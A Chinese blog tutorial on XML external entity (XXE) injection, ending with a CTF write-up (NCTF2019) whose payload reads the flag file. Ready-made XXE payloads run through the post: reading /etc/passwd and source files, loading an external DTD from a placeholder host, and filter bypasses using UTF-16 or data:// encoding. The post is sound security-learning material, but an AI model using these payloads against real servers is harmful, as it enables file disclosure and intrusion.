XXE的学习

前言

打hgame的时候打出来一个新知识点,赶紧记录下这个漏洞。不过在学习xxe之前,我们要先认识xml。

认识xml

什么是xml

XML(EXtensible Markup Language),即可扩展标记语言,是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

  • HTML 被设计用来显示数据
  • XML 被设计用来传输和存储数据
  • XML标签根据自己主观定义,不像HTML是被预定义好的

下面这个便是典型的xml文档:

1
2
3
4
5
6
7
8
9
10
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,可选-->
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

什么是DTD

DTD(Document Type Definition),即文档类型定义,作用是定义XML文档的合法构建模块。

DTD声明

DTD可被成行地声明于XML文档中,也可作为一个外部引用。

  • 内部DOCTYPE声明:
    1
    <!DOCTYPE 根元素 [元素声明]>

例如:

1
2
3
4
5
6
<!DOCTYPE any[
<!ENTITY a "admin">
]>
<sender>&a</sender>

<!-- admin -->
  • 外部文档声明:
    1
    <!DOCTYPE 根元素 SYSTEM "文件名">

例如:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE any[
<!ENTITY % a SYSTEM "http://xx.xx.xx.xx/xml.dtd">
%a;
]>
<flag>&b</flag>
<!-- dGhpc18xc180X2ZMYTk= -->


xx.xx.xx.xx/xml.dtd:
<!ENTITY b SYSTEM "data://text/plain;base64,dGhpc18xc180X2ZMYTk=">

DTD实体

DTD实体一般分为三种:内部实体、参数实体以及外部实体。

  • 内部实体:
    1
    <!ENTITY 实体名称 "实体的值">

例如:

1
2
3
4
5
6
<!DOCTYPE any[
<!ENTITY a "admin">
]>
<sender>&a</sender>

<!-- admin -->
  • 外部实体:
    1
    <!ENTITY 实体名称 SYSTEM "URI">

例如:

1
2
3
4
5
6
<!DOCTYPE any[
<!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<flag>&a</flag>

<!-- dGhpc18xc180X2ZMYTk= -->
  • 参数实体:
    1
    2
    <!ENTITY %实体名称 "实体的值">
    <!ENTITY %实体名称 SYSTEM "URI">

例如:

1
2
3
4
5
6
7
8
9
<!DOCTYPE any[
<!ENTITY % a "<!ENTITY b "admin">">
<!ENTITY % c "<!ENTITY d SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">">
%a;
%c;
]>
<sender>&b;&d</sender>

<!-- admindGhpc18xc180X2ZMYTk= -->

注意:参数实体用% name声明,引用时用%name;,只能在DTD中申明,DTD中引用。

外部实体引用可支持多种协议:

XXE攻击时的绕过

ENTITY、SYSTEM、file等关键词过滤

编码转化为UTF-16绕过:

1
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

http被过滤

data伪协议绕过、html实体编码绕过、文件上传等等,以data伪协议为例:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0">
<!DOCTYPE any[
<!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSBiIFNZU1RFTSAnaHR0cDovL3h4Lnh4Lnh4Lnh4L3htbC5kdGQnPg==">
%a;
%b;
]>
<flag>&a;</flag>

<!--编码内容-->
<!ENTITY % b SYSTEM 'http://xx.xx.xx.xx/xml.dtd'>

[NCTF2019]Fake XML cookbook

这题还是比较简单的,基本简单了解下xml就可以做出来了。

进入网页发现是要进行登录,尝试抓包发现POST部分是xml:

1
<user><username>1</username><password>1</password></user>

因此直接构造外部引用读取:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any[
<!ENTITY a SYSTEM "file:///flag">
]>
<user><username>&a;</username><password>123456</password></user>

读取flag:

1
2
<result><code>0</code><msg>flag{e9ac9a2a-8a06-47c9-8cb1-0dd2ecbeb01f}
</msg></result>

总结

这篇博客简单总结了下xxe的基础知识,实际上,xxe还有其他的用途,例如探测内网、RCE、DOS等都可以用上,因此xxe还是十分好用的。